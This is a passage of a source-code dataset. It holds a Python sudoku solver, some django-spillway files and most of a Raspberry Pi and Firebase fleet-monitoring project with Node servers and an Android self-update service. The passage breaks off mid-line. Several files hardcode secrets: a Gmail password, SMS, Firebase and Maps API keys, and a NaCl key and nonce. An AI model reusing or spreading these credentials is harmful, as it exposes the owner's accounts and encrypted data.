"text": "from collections import deque\nfrom Queue import PriorityQueue\n\ndef printBoard(m):\n\tline = '-------------------------'\n\tprint''\n\tfor y, row in enumerate(m):\n\t\ts = ''\n\t\tif y % 3 == 0:\n\t\t\tprint line\n\t\tfor x, ele in enumerate(row):\n\t\t\tif x % 3 == 0:\n\t\t\t\ts = s + '| '\n\t\t\tif ele:\n\t\t\t\ts = s + str(ele) + ' '\n\t\t\telse:\n\t\t\t\ts = s + '`' + ' '\n\t\ts = s + '|'\n\t\tprint s\n\tprint line\n\n\ndef bts(x, y, count, m, row_remain, col_remain, sqr_remain):\n\t#printBoard(m)\n\tif count == 0:\n\t\treturn m\n\twhile m[y][x] != 0:\n\t\tif x == 8:\n\t\t\ty = y + 1\n\t\t\tx = 0\n\t\telse:\n\t\t\tx = x + 1\n\tavailable = row_remain[y] & col_remain[x] & sqr_remain[y/3*3+x/3]\n\tfor choice in available:\n\t\tm[y][x] = str(choice)\n\t\trow_remain[y].discard(choice)\n\t\tcol_remain[x].discard(choice)\n\t\tsqr_remain[y/3*3+x/3].discard(choice)\n\t\tif bts(x, y, count - 1, m, row_remain, col_remain, sqr_remain):\n\t\t\treturn m\n\t\trow_remain[y].add(choice)\n\t\tcol_remain[x].add(choice)\n\t\tsqr_remain[y/3*3+x/3].add(choice)\n\t\tm[y][x] = 0\n\treturn 0\n\n\ndef getPoss(m):\t\t#get all possible moves\n row_remain = [set(xrange(1,10)) for _ in xrange(9)]\n col_remain = [set(xrange(1,10)) for _ in xrange(9)]\n sqr_remain = [set(xrange(1,10)) for _ in xrange(9)]\n # Find available remaining choices\n count = 0\n for i in xrange(9):\n for j in xrange(9):\n if m[i][j] != 0:\n val = int(m[i][j])\n row_remain[i].discard(val)\n col_remain[j].discard(val)\n sqr_remain[i/3*3+j/3].discard(val)\n else:\n count = count + 1\n #print count\n return (row_remain,col_remain,sqr_remain, count)\n\n\ndef main():\n\tm = [\n\t[0,4,3,5,0,0,0,0,2],\n\t[0,0,2,0,0,4,0,8,3],\n\t[0,1,0,0,0,0,6,0,0],\n\t[0,8,0,7,3,0,0,0,5],\n\t[2,6,0,0,4,5,0,0,0],\n\t[1,0,0,0,0,8,0,0,0],\n\t[0,7,0,3,0,0,0,6,0],\n\t[0,0,0,0,0,0,0,0,0],\n\t[0,0,0,6,0,7,0,0,0],\n\t]\n\tprintBoard(m)\n\trow_remain, col_remain, sqr_remain, count = getPoss(m)\n\tsolved = bts(0, 0, count, m, row_remain, col_remain, sqr_remain)\n\tprintBoard(solved)\n\nif __name__ == '__main__':\n\tmain()"
}
] | 1 |
Dgo-list/django-spillway | https://github.com/Dgo-list/django-spillway | 2b94bf7ef6fd4fddf7f8a5fa3083bea965189a7c | 4a83e2f34884819698e2d16675354a038e6a76d8 | db90593509a5979264467b8c75dca4bd23944046 | refs/heads/master | 2021-01-20T18:10:23.953568 | 2016-05-05T01:10:58 | 2016-05-05T01:10:58 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6697247624397278,
"alphanum_fraction": 0.6697247624397278,
"avg_line_length": 33.681819915771484,
"blob_id": "7940dd3ad5d2338c331dd3fca43d0e51d7fb305c",
"content_id": "debfbdb08521d5d47720b45fefe698bede58d8b1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 763,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 22,
"path": "/spillway/fields.py",
"repo_name": "Dgo-list/django-spillway",
"src_encoding": "UTF-8",
"text": "\"\"\"Serializer fields\"\"\"\nfrom django.contrib.gis import forms\nfrom rest_framework.fields import Field, FileField\n\nfrom spillway.compat import json\n\n\nclass GeometryField(Field):\n def to_internal_value(self, data):\n # forms.GeometryField cannot handle geojson dicts.\n if isinstance(data, dict):\n data = json.dumps(data)\n return forms.GeometryField().to_python(data)\n\n def to_representation(self, value):\n # Create a dict from the GEOSGeometry when the value is not previously\n # serialized from the spatial db.\n try:\n return {'type': value.geom_type, 'coordinates': value.coords}\n # Value is already serialized as geojson, kml, etc.\n except AttributeError:\n return value\n"
},
{
"alpha_fraction": 0.8120300769805908,
"alphanum_fraction": 0.8120300769805908,
"avg_line_length": 43.33333206176758,
"blob_id": "d656bda563f7d9b9c3566a5a7747aab35af380a1",
"content_id": "95ba2b87b8e6101fb500ab67c047ba96e11cad14",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 266,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 6,
"path": "/spillway/forms/__init__.py",
"repo_name": "Dgo-list/django-spillway",
"src_encoding": "UTF-8",
"text": "from spillway.forms.fields import (\n BoundingBoxField, CommaSepFloatField,\n OGRGeometryField, SpatialReferenceField)\nfrom spillway.forms.forms import (\n QuerySetForm, GeometryQueryForm, RasterTileForm, VectorTileForm,\n RasterQueryForm, SpatialQueryForm)\n"
},
{
"alpha_fraction": 0.5714285969734192,
"alphanum_fraction": 0.7285714149475098,
"avg_line_length": 16.5,
"blob_id": "72aea278141b8b0724f3a5a94e3e418a56f1553c",
"content_id": "8a781dba0b283c094610ed6b18ed0e725bfc6972",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 70,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 4,
"path": "/requirements.txt",
"repo_name": "Dgo-list/django-spillway",
"src_encoding": "UTF-8",
"text": "django==1.9.6\ndjangorestframework==3.3.3\nmapnik==0.1\ngreenwich==0.5.1\n"
}
] | 3 |
AakashBanik/decentralized-fleet-monitoring | https://github.com/AakashBanik/decentralized-fleet-monitoring | 7913a8ee82bb9dac80d2e56e75d0c3fa993a83c0 | 04095c66e9c077e842f9f277aba015866f450dc9 | cd22f90cffdc7b6f22daba05982c8c2a4f5bfaad | refs/heads/master | 2022-02-21T04:48:04.235877 | 2019-06-21T07:38:53 | 2019-06-21T07:38:53 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6621209383010864,
"alphanum_fraction": 0.6635564565658569,
"avg_line_length": 36.6554069519043,
"blob_id": "2dff4981791e482470638c6479218bb4ea3bdbfd",
"content_id": "e6f420d1b621435d4da350a3a3ebb47cdba62bae",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 5573,
"license_type": "no_license",
"max_line_length": 142,
"num_lines": 148,
"path": "/android-app/app/src/main/java/com/example/fleetmonitoring/UpdateService.java",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "package com.example.fleetmonitoring;\n\nimport android.app.Notification;\nimport android.app.PendingIntent;\nimport android.app.Service;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.pm.PackageInfo;\nimport android.content.pm.PackageManager;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.IBinder;\nimport android.support.annotation.Nullable;\nimport android.support.v4.app.NotificationCompat;\nimport android.support.v4.content.FileProvider;\nimport android.util.Log;\nimport android.widget.Toast;\n\nimport com.google.android.gms.tasks.OnSuccessListener;\nimport com.google.firebase.storage.FileDownloadTask;\nimport com.google.firebase.storage.FirebaseStorage;\nimport com.google.firebase.storage.StorageReference;\n\nimport java.io.File;\n\nimport static com.example.fleetmonitoring.App.NOTIFICATION_CHANNEL_ID;\nimport static com.example.fleetmonitoring.Settings.SHARED_PREF_NAME;\n\npublic class UpdateService extends Service {\n\n int installedAppVersion;\n int externalAppVersion;\n private PackageInfo pi;\n String packagePath = \"/storage/emulated/0/Download/app-debug.apk\";\n File downloadFile = new File(packagePath);\n Boolean switchUpdateState, switchNotificationState;\n\n @Nullable\n @Override\n public IBinder onBind(Intent intent) {\n return null;\n }\n\n @Override\n public int onStartCommand(Intent intent, int flags, int startId) {\n SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREF_NAME, MODE_PRIVATE);\n switchUpdateState = sharedPreferences.getBoolean(\"Update\", false);\n switchNotificationState = sharedPreferences.getBoolean(\"Notification\", false);\n\n if(!switchNotificationState == true){\n notificationProcess();\n }\n return START_STICKY;\n }\n\n @Override\n public void onCreate() {\n SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREF_NAME, MODE_PRIVATE);\n switchUpdateState = sharedPreferences.getBoolean(\"Update\", false);\n\n if(!switchUpdateState == true){\n firebaseUpdateProcess();\n }\n }\n\n @Override\n public void onDestroy() {\n super.onDestroy();\n }\n\n @Override\n public void onTaskRemoved(Intent rootIntent) {\n downloadFile.delete();\n stopSelf();\n }\n\n private void firebaseUpdateProcess(){\n //google firebase\n FirebaseStorage storage = FirebaseStorage.getInstance();\n StorageReference storageRef = storage.getReference();\n StorageReference pathReference = storageRef.child(\"app-debug.apk\");\n Toast.makeText(UpdateService.this, \"Checking preliminary Files Before Update\", Toast.LENGTH_SHORT).show();\n\n pathReference.getFile(downloadFile).addOnSuccessListener(new OnSuccessListener<FileDownloadTask.TaskSnapshot>() {\n @Override\n public void onSuccess(FileDownloadTask.TaskSnapshot taskSnapshot) {\n Log.d(\"UpdateDownloaded\", \"update downloaded to \" + packagePath);\n updateProcess();\n }\n });\n\n //firebase && storage access ends\n }\n\n private void notificationProcess(){\n Intent notificationIntent = new Intent(this, MainActivity.class);\n PendingIntent pendingIntent = PendingIntent.getActivity(this,\n 0, notificationIntent, 0);\n\n Notification notification = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)\n .setContentTitle(\"Update Service\")\n .setContentText(\"Update Service for the Application\")\n .setSmallIcon(R.drawable.icon)\n .setContentIntent(pendingIntent)\n .build();\n startForeground(1, notification);\n }\n\n private void updateProcess(){\n PackageManager pm = getPackageManager();\n //update starts\n if(downloadFile.exists()){\n\n PackageInfo packageInfo;\n try{\n packageInfo = getPackageManager().getPackageInfo(getPackageName(), 0);\n installedAppVersion = packageInfo.versionCode;\n }catch (PackageManager.NameNotFoundException e) {\n e.printStackTrace();\n }\n\n\n pi = pm.getPackageArchiveInfo(packagePath, 0);\n externalAppVersion = pi.versionCode;\n\n if(installedAppVersion < externalAppVersion){\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n Uri fileUri = FileProvider.getUriForFile(this, this.getApplicationContext().getPackageName() + \".provider\", downloadFile);\n Intent intent = new Intent(Intent.ACTION_VIEW, fileUri);\n intent.putExtra(Intent.EXTRA_NOT_UNKNOWN_SOURCE, true);\n intent.setDataAndType(fileUri, \"application/vnd.android\" + \".package-archive\");\n intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);\n intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\n startActivity(intent);\n\n } else {\n Intent intent = new Intent(Intent.ACTION_VIEW);\n intent.setDataAndType(Uri.fromFile(downloadFile), \"application/vnd.android.package-archive\");\n intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n startActivity(intent);\n }\n } else{\n Toast.makeText(this, \"No New Updates to Install\", Toast.LENGTH_SHORT).show();\n }\n }\n //update ends\n }\n}\n"
},
{
"alpha_fraction": 0.5211618542671204,
"alphanum_fraction": 0.5244813561439514,
"avg_line_length": 31.1200008392334,
"blob_id": "2c0c73afcc61b8350d46d9cd2dffb606d96f1d33",
"content_id": "111928c091320104c3e3f6743b692ec899584b78",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2410,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 75,
"path": "/notification-server/firebase-server.js",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "var admin = require(\"firebase-admin\");\n\nvar serviceAccount = require(\"./keyfile.json\");\n admin.initializeApp({\n credential: admin.credential.cert(serviceAccount),\n databaseURL: \"https://my-pi-12.firebaseio.com\"\n});\n\nvar serverKey = \"fWCFVeXABx8:APA91bF8EzYZ48y3QVOMZZGeDNW47HPHhPE2FVKPMacj_B5kRlk1ZpIRBC-KjnRXNLk6q51fPxG1uewZN9mCF21kUtuEGvtUs_J8ZTts0dNQBhOmAdXtJc8vqOT_zjqACJxvJtkDQF0-\";\n\n\nmodule.exports.firebaseMessage = (temp, speed, accl, lat, lng, msg) => {\n\n \n if (temp != \"\") {\n var message = `${msg}. Temperature: ${temp} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n if (speed != \"\") {\n var message = `${msg}. Speed: ${speed} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n }\n else if (accl != \"\") {\n var message = `${msg}. Acceleration: ${accl} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n }\n }\n else if (speed != \"\") {\n var message = `${msg}. Speed: ${speed} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n if (temp != \"\") {\n var message = `${msg}. Temperature: ${temp} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n } else if (accl != \"\") {\n var message = `${msg}. Acceleration: ${accl} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n }\n }\n else if (accl != \"\") {\n var message = `${msg}. Acceleration: ${accl} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n if (temp != \"\") {\n var message = `${msg}. Temperature: ${temp} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n } else if (speed != \"\") {\n var message = `${msg}. Speed: ${speed} . Latitude: ${lat} and Longitude: ${lng}`;\n sendMessage(message);\n }\n }\n \n \n}\n\nfunction sendMessage(message) {\n var message = {\n notification: {\n title: 'Critical',\n body: message,\n }\n };\n\n var options = {\n priority: \"high\",\n ttl: 60 * 60 * 24\n }\n\n // Send a message to devices subscribed to the provided topic.\n admin.messaging().sendToDevice(serverKey,message,options)\n .then((response) => {\n // Response is a message ID string.\n console.log('Successfully sent message:', response);\n })\n .catch((error) => {\n console.log('Error sending message:', error);\n });\n}\n\n"
},
{
"alpha_fraction": 0.5640818476676941,
"alphanum_fraction": 0.5971997976303101,
"avg_line_length": 27.35877799987793,
"blob_id": "67cbcce969d3252713fbf1de4929ef72f6514296",
"content_id": "03999ed73844fe41b4d57285bb2081ba928a5f63",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3714,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 131,
"path": "/server/firebase-mobile-node-app/functions/index.js",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "const functions = require('firebase-functions');\n\nvar firebase = require(\"firebase\");\nvar hbs = require('hbs')\nvar express = require('express')\nvar decrypt = require('./decrypt_data')\n\nvar app = express()\nvar accl = []\nvar gyro = []\nvar Temperature = []\nvar time = []\nvar lat = []\nvar lng = []\nvar speed = []\nvar mapsApiKey = 'AIzaSyBasFPXZ4mm6Wh_GJestTeZZF8ZMs6wxuc'\n\napp.set('view engine', 'hbs')\n// app.use('/public',express.static(__dirname + \"/public\"));\n// app.use('/scripts',express.static(__dirname + \"/scripts\"));\n\nvar config = {\n apiKey: \"AIzaSyDG-o-5zgeJJXw_5waQ9nF4caatbzHVZx0\",\n authDomain: \"my-pi-12.firebaseapp.com\",\n databaseURL: \"https://my-pi-12.firebaseio.com\",\n projectId: \"my-pi-12\",\n storageBucket: \"my-pi-12.appspot.com\",\n messagingSenderId: \"981634572804\"\n};\n\nfirebase.initializeApp(config);\nvar db = firebase.database();\nvar ref = db.ref(\"sensor/raspberry\");\n\nref.on(\"value\", (snapshot) => {\n\n var promise = new Promise((resolve, reject) => {\n var data = []\n for (var key in snapshot.val()) {\n data.push(snapshot.val()[key])\n }\n resolve(data)\n })\n \n promise.then((data) => {\n var datetime = new Date();\n datetime.setDate(datetime.getDate());\n todaysDate = datetime.toISOString().slice(0, 10).toString();\n console.log(`Todays Date: ${todaysDate}\\n`)\n data.forEach(element => {\n if (element['date'] === todaysDate) {\n console.log(`Acceleration: ${decrypt.decrypt_data(element['Acceleration'].toString())}, Temperature: ${decrypt.decrypt_data(element['temp'].toString())}, \n Angular Velocity: ${decrypt.decrypt_data(element['Gyroscope'].toString())} Time: ${element['time'].toString()}`);\n \n accl.push(decrypt.decrypt_data(element['Acceleration'].toString()))\n gyro.push(decrypt.decrypt_data(element['Gyroscope'].toString()))\n Temperature.push(decrypt.decrypt_data(element['temp'].toString()))\n time.push(element['time'])\n lat.push(decrypt.decrypt_data(element['latitude'].toString()))\n lng.push(decrypt.decrypt_data(element['longitude'].toString()))\n speed.push(decrypt.decrypt_data(element['speed'].toString()))\n }\n });\n });\n\n});\n\n\napp.get('/temp', (req, res) => {\n res.render('temp.hbs', {\n temp: Temperature[Temperature.length - 1],\n color1: color1 = (Temperature[Temperature.length - 1] > 35) ? \"#DD3838\" : \"#365AF8\",\n color2: color2 = (Temperature[Temperature.length - 1] > 35) ? \"#FC9C9C\" : \"#A1A1F1\"\n })\n})\n\napp.get('/map', (req, res) => {\n res.render('maps.hbs', {\n lat: lat[lat.length - 1],\n lng: lng[lng.length - 1],\n apiKey: mapsApiKey\n })\n})\n\napp.get('/vib', (req, res) => {\n res.render('vibration.hbs', {\n })\n})\n\napp.get('/gyro', (req, res) => {\n res.render('gyro.hbs', {\n gyro: gyro[gyro.length - 1],\n color1: color1 = (gyro[gyro.length - 1] > 250) ? \"#DD3838\" : \"#365AF8\",\n color2: color2 = (gyro[gyro.length - 1] > 250) ? \"#FC9C9C\" : \"#A1A1F1\"\n })\n})\n\napp.get('/acc', (req, res) => {\n res.render('acceleration.hbs', {\n accl: accl[accl.length - 1],\n color1: color1 = (accl[accl.length - 1] > 15) ? \"#DD3838\" : \"#365AF8\",\n color2: color2 = (accl[accl.length - 1] > 15) ? \"#FC9C9C\" : \"#A1A1F1\"\n })\n})\n\napp.get('/speed', (req, res) => {\n res.render('speed.hbs', {\n speed: speed[speed.length - 1],\n color1: color1 = (speed[speed.length - 1] > 50) ? \"#DD3838\" : \"#365AF8\",\n color2: color2 = (speed[speed.length - 1] > 50) ? \"#FC9C9C\" : \"#A1A1F1\"\n })\n})\n\napp.get('/mag', (req, res) => {\n res.render('magnet.hbs', {\n })\n})\n\napp.get('/dash', (req, res) => {\n res.render('dash.hbs', {\n accl: accl,\n gyro: gyro,\n time: time,\n temp: Temperature,\n lat: lat,\n lng: lng,\n speed: speed\n })\n})\n\nexports.app = functions.https.onRequest(app);"
},
{
"alpha_fraction": 0.6690475940704346,
"alphanum_fraction": 0.711904764175415,
"avg_line_length": 21.105262756347656,
"blob_id": "f699ef5e1061e0e6aaf9dcb188be8638aaf5f675",
"content_id": "3d442b9add8d55daac60ff7b68453bf689685946",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 420,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 19,
"path": "/raspberry-pi-python/encryptData.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "import nacl.secret\nfrom base64 import b64encode, b64decode\nimport nacl.utils\n\nkey = b'DUaZqu6/CQ82gzYFDtRQLNy8b1q3pVA6ZlwolbgznzI='\nkey = b64decode(key)\n\nnonce = b'brDPxWDbO8yBSCg9uNWAN7AQlhZhhj3P'\nnonce = b64decode(nonce)\n\ndef encrypt_data(data):\n \n message = bytes(str(data), 'utf-8')\n box = nacl.secret.SecretBox(key)\n encrypt = box.encrypt(message, nonce=nonce)\n\n value = b64encode(encrypt.ciphertext)\n\n return str(value.decode('utf-8'))\n"
},
{
"alpha_fraction": 0.6697247624397278,
"alphanum_fraction": 0.71100914478302,
"avg_line_length": 26.375,
"blob_id": "88de94ac95bafe0fb1015399221b4b2587349673",
"content_id": "87ad5ce9f47c0fba11c17f6cefc013052ae792dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 218,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 8,
"path": "/raspberry-pi-python/gps.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "from neo6 import GpsNeo6\n\n\ndef getGPS():\n\n gps=GpsNeo6(port=\"/dev/ttyAMA0\",debit=9600,diff=2) #diff is difference between utc time en local time \n gps.traite()\n return gps.latitude, gps.longitude, gps.speed"
},
{
"alpha_fraction": 0.7181069850921631,
"alphanum_fraction": 0.7335391044616699,
"avg_line_length": 41.21739196777344,
"blob_id": "82616adb0f38f21b96672b23bf38a710b7e0fb3c",
"content_id": "575d86396036ddda22896a93d3dfe3f6958da179",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 972,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 23,
"path": "/raspberry-pi-python/dataFirebase.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "from firebase import firebase\n\nimport json\nimport os\nfrom getAcclGyrData import getAccelGryData \nfrom functools import partial\nfrom datetime import datetime, date\nfrom sendNotification import sendNotificationtoDevice\nfrom gps import getGPS\nfrom encryptData import encrypt_data\n\nfirebase = firebase.FirebaseApplication('https://my-pi-12.firebaseio.com/', None)\n\ndef update_firebase():\n\taccl, gyro, temp = getAccelGryData()\n\tlat, lng, speed = getGPS()\n\t\n\tdata = {\"temp\": encrypt_data(temp), \"Acceleration\": encrypt_data(accl), \"Gyroscope\": encrypt_data(gyro), \"date\": date.today(),\n\t\t\t\"latitude\": encrypt_data(lat), \"longitude\": encrypt_data(lng), \"speed\": encrypt_data(speed), \"time\": datetime.now().strftime('%H:%M:%S')}\n\n\tprint('Temp={0:0.1f}*C, Acceleration={1:0.1f}m/s2, Gyroscope={2:0.1f}rad/s, Speed: {3}, Latitude: {4}, Longitude: {5}'.format(temp, accl, gyro, speed, lat, lng))\n\t#sendNotificationtoDevice(speed, lat, lng)\n\tfirebase.post('/sensor/raspberry', data)\n\t"
},
{
"alpha_fraction": 0.5471406579017639,
"alphanum_fraction": 0.6166924238204956,
"avg_line_length": 33.05263137817383,
"blob_id": "4f6e12e7534ac94320175fc829cf501a635fb990",
"content_id": "714a796d28c2946b5ea8e3125a67bb3ca1e22206",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 647,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 19,
"path": "/raspberry-pi-python/getAcclGyrData.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "from mpu6050 import mpu6050\nfrom time import sleep\nfrom math import sqrt, pow\n\nsensor = mpu6050(0x68)\n\ndef getAccelGryData():\n accel_data = sensor.get_accel_data()\n gyro_data = sensor.get_gyro_data()\n temp = sensor.get_temp()\n\n mag_accel = sqrt(pow(accel_data['x'], 2) + pow(accel_data['y'], 2) + pow(accel_data['z'], 2))\n mag_gyro = sqrt(pow(gyro_data['x'], 2) + pow(gyro_data['y'], 2) + pow(gyro_data['z'], 2))\n\n temp = int((temp * 100) + 0.5) / 100 #nearest floating point conv formula\n mag_accel = int((mag_accel * 100) + 0.5) / 100\n mag_gyro = int((mag_gyro * 100) + 0.5) / 100\n\n return mag_accel, mag_gyro, temp\n"
},
{
"alpha_fraction": 0.8359788656234741,
"alphanum_fraction": 0.841269850730896,
"avg_line_length": 20.11111068725586,
"blob_id": "335b8e71516b35af310d60332063d76c9d844088",
"content_id": "3bdc2cab19df34766634b569590a7f4d7ce4ae66",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 189,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 9,
"path": "/raspberry-pi-python/main.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "from message import sendMail\nfrom dataFirebase import update_firebase\nfrom time import sleep\nfrom sendNotification import sendNotificationtoDevice\n\nwhile True:\n\n\tupdate_firebase()\n\tsleep(5)"
},
{
"alpha_fraction": 0.6790606379508972,
"alphanum_fraction": 0.6898238658905029,
"avg_line_length": 34.2068977355957,
"blob_id": "9f329b36573991e890df20fb0f4e4eef3829b675",
"content_id": "16d59fd321314a1c2857eaffa00b2a36a4c4ebc7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1022,
"license_type": "no_license",
"max_line_length": 127,
"num_lines": 29,
"path": "/raspberry-pi-python/message.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "import smtplib, ssl\nimport requests\n\ncontext = ssl.create_default_context()\nAPI_KEY = 'aPC0UZj6Jpw-VXDs9GniIjZeLWdRJ6AsW15PXooHhI'\n\ndef sendMessage(body, toNumber):\n\n reqURL = 'https://api.textlocal.in/send/?apiKey={0}&sender=TXTLCL&numbers={1}&message={2}'.format(API_KEY, toNumber, body) \n req = requests.post(reqURL)\n print(req)\n\ndef sendMail(toAddress, message):\n #commented lines are for python3, normal uncommented lines are for python2 for raspberry pi support\n# context = ssl.create_default_context()\n# port = 465 # For SSL\n# smtp_server = \"smtp.gmail.com\"\n sender_email = \"[email protected]\" # Enter your address\n password = 'Aakash@12'\n# with smtplib.SMTP_SSL(smtp_server, port) as server:\n# server.login(sender_email, password)\n# server.sendmail(sender_email, toAddress, message)\n\n print(\"Sending Email To Specified User\")\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(sender_email, password)\n server.sendmail(sender_email, toAddress, message)\n server.quit()\n\n"
},
{
"alpha_fraction": 0.6462395787239075,
"alphanum_fraction": 0.6699164509773254,
"avg_line_length": 27.760000228881836,
"blob_id": "954e6548013178f5f11dc2ab272cf42090fce6de",
"content_id": "68223dc879177cab712f9af61d5ef3fbed7dcdaa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 718,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 25,
"path": "/server/firebase-mobile-node-app/functions/decrypt_data.js",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "var nacl = require('tweetnacl');\nvar utils = require('tweetnacl-util');\nvar toUint8Array = require('base64-to-uint8array')\n\nfunction toArrayBuffer(buf) {\n var ab = new ArrayBuffer(buf.length);\n var view = new Uint8Array(ab);\n for (var i = 0; i < buf.length; ++i) {\n view[i] = buf[i];\n }\n return view;\n}\n\nmodule.exports.decrypt_data = (data) => {\n\n var arrNonce = toUint8Array('brDPxWDbO8yBSCg9uNWAN7AQlhZhhj3P=')\n let init = toArrayBuffer(arrNonce)\n let nonce = new Uint8Array(Array.from(init))\n\n message = utils.decodeBase64(data.toString());\n key = utils.decodeBase64('DUaZqu6/CQ82gzYFDtRQLNy8b1q3pVA6ZlwolbgznzI=')\n let decrypted = nacl.secretbox.open(message, nonce, key);\n return utils.encodeUTF8(decrypted);\n\n}"
},
{
"alpha_fraction": 0.5569199919700623,
"alphanum_fraction": 0.572519063949585,
"avg_line_length": 38.14285659790039,
"blob_id": "197f2ce90e085481924c0ed0db624da7872c342b",
"content_id": "2f7f09241e394e2b131a87c99825a2b8847a8244",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3013,
"license_type": "no_license",
"max_line_length": 174,
"num_lines": 77,
"path": "/notification-server/index.js",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "var express = require('express');\nvar bodyParser = require('body-parser');\nvar fcm = require('./firebase-server')\nvar firebase = require(\"firebase\");\nvar decrypt = require('./decrypt_data')\n\nvar accl = []\nvar gyro = []\nvar Temperature = []\nvar lat = []\nvar lng = []\nvar speed = []\n\nvar config = {\n apiKey: \"AIzaSyDG-o-5zgeJJXw_5waQ9nF4caatbzHVZx0\",\n authDomain: \"my-pi-12.firebaseapp.com\",\n databaseURL: \"https://my-pi-12.firebaseio.com\",\n projectId: \"my-pi-12\",\n storageBucket: \"my-pi-12.appspot.com\",\n messagingSenderId: \"981634572804\"\n};\n\nfirebase.initializeApp(config);\nvar db = firebase.database();\nvar ref = db.ref(\"sensor/raspberry\");\n\n\nvar app = express();\nconst port = process.env.PORT || 3000;\napp.use(bodyParser.json());\n\napp.post('/notify', (req, res) => {\n ref.on(\"value\", (snapshot) => {\n\n var promise = new Promise((resolve, reject) => {\n var data = []\n for (var key in snapshot.val()) {\n data.push(snapshot.val()[key])\n }\n resolve(data)\n })\n \n promise.then((data) => {\n var datetime = new Date();\n datetime.setDate(datetime.getDate());\n todaysDate = datetime.toISOString().slice(0, 10).toString();\n console.log(`Todays Date: ${todaysDate}\\n`)\n data.forEach(element => {\n if (element['date'] === todaysDate) {\n console.log(`Acceleration: ${decrypt.decrypt_data(element['Acceleration'].toString())}, Temperature: ${decrypt.decrypt_data(element['temp'].toString())}, \n Angular Velocity: ${decrypt.decrypt_data(element['Gyroscope'].toString())} Time: ${element['time'].toString()}`);\n \n accl.push(decrypt.decrypt_data(element['Acceleration'].toString()))\n gyro.push(decrypt.decrypt_data(element['Gyroscope'].toString()))\n Temperature.push(decrypt.decrypt_data(element['temp'].toString()))\n lat.push(decrypt.decrypt_data(element['latitude'].toString()))\n lng.push(decrypt.decrypt_data(element['longitude'].toString()))\n speed.push(decrypt.decrypt_data(element['speed'].toString()))\n }\n });\n });\n \n if (speed[speed.length - 1] >= 45) {\n fcm.firebaseMessage(\"\", speed[speed.length - 1], \"\", lat[lat.length - 1], lng[lng.length - 1], \"Increase in Speed\")\n }\n if (accl[accl.length - 1] >= 25) {\n fcm.firebaseMessage(\"\", \"\", accl[accl.length - 1], lat[lat.length - 1], lng[lng.length - 1], \"Increased Acceleration\")\n } \n if (Temperature[Temperature.length - 1] >= 45 || Temperature[Temperature.length - 1] <= 5) {\n 